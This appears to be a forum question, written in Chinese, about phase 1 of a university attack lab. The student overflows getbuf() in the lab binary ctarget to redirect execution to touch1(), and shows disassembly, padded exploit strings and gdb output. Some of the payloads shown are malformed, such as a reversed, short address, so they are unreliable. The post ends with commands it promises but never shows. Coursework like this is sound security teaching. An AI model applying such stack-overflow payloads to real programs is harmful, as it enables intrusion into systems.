我的攻击实验室的第一阶段是这样的:
Ctarget经过getbuf(),在其中我应该为该函数创建一个缓冲区,以直接跳转到函数touch1()而不是函数test()。
根据我的理解,我应该找到缓冲区大小并为其创建填充,然后在填充输入touch1()的小尾数地址之后。
0000000000001afc <getbuf>:
1afc: 48 83 ec 28 sub $0x28,%rsp
1b00: 48 89 e7 mov %rsp,%rdi
1b03: e8 94 02 00 00 callq 1d9c <Gets>
1b08: b8 01 00 00 00 mov $0x1,%eax
1b0d: 48 83 c4 28 add $0x28,%rsp
1b11: c3 retq
0000000000001b12 <touch1>:
1b12: 48 83 ec 08 sub $0x8,%rsp
1b16: c7 05 bc 38 20 00 01 movl $0x1,0x2038bc(%rip) # 2053dc <vlevel>
1b1d: 00 00 00
1b20: 48 8d 3d ab 19 00 00 lea 0x19ab(%rip),%rdi # 34d2 <_IO_stdin_used+0x312>
1b27: e8 64 f3 ff ff callq e90 <puts@plt>
1b2c: bf 01 00 00 00 mov $0x1,%edi
1b31: e8 d6 04 00 00 callq 200c <validate>
1b36: bf 00 00 00 00 mov $0x0,%edi
1b3b: e8 c0 f4 ff ff callq 1000 <exit@plt>
在getbuf()中,我看到缓冲区的大小应为0x28,即十进制为40,因此应填充40个字节。 touch1()的地址为0000000000001b12,little endian将其设为12 1b 00 00 00 00 00 00。
我创建了phase1.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
12 1b 00 00 00 00 00 00
有40个填充字节,然后是touch1()地址的小字节序,但是当我运行它时,这给我带来了分段错误。
我不知道自己在做什么错,因为在尝试使用我的版本后,我在网上查找了其他人所做的事情,而那也是我做的同样的事情。
编辑1:
我之前给出了一些错误的信息,为了避免出现分段错误,我不得不从填充中删除了9个字节,因此总共填充了31个字节,并增加了8个字节的地址。不确定是否有帮助。
编辑2:
我运行了gdb ctarget,并在getbuf处添加了一个断点。当我运行信息地址touch1时,该地址出现:
(gdb) info address touch1
Symbol "touch1" is a function at address 0x555555555b12.
看到此信息后,我将phase1.txt更改为:
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC 55 55 55 55 5b 12
运行cat phase1.txt | ./hex2raw | ./ctarget
之后,不再有分段错误,因为它少于40个字节,但是它仍然没有运行。我不确定是否应该总共添加40个字节或填充40个字节,然后再添加地址。
最终编辑:
原来的问题不是我输入的文本文件,而是ASLR。自从我在GDB中运行它以来,这些地址也必须从GDB中获取并在GDB上运行。我必须通过hex2raw运行.txt文件,然后将原始文件放入GDB中,如下所示:
感谢大家的帮助!
答案 0 :(得分:0)
原来的问题不是我输入的文本文件,而是ASLR。自从我在GDB中运行它以来,这些地址也必须从GDB中获取并在GDB上运行。我必须通过hex2raw运行.txt文件,然后将原始文件放入GDB中,如下所示: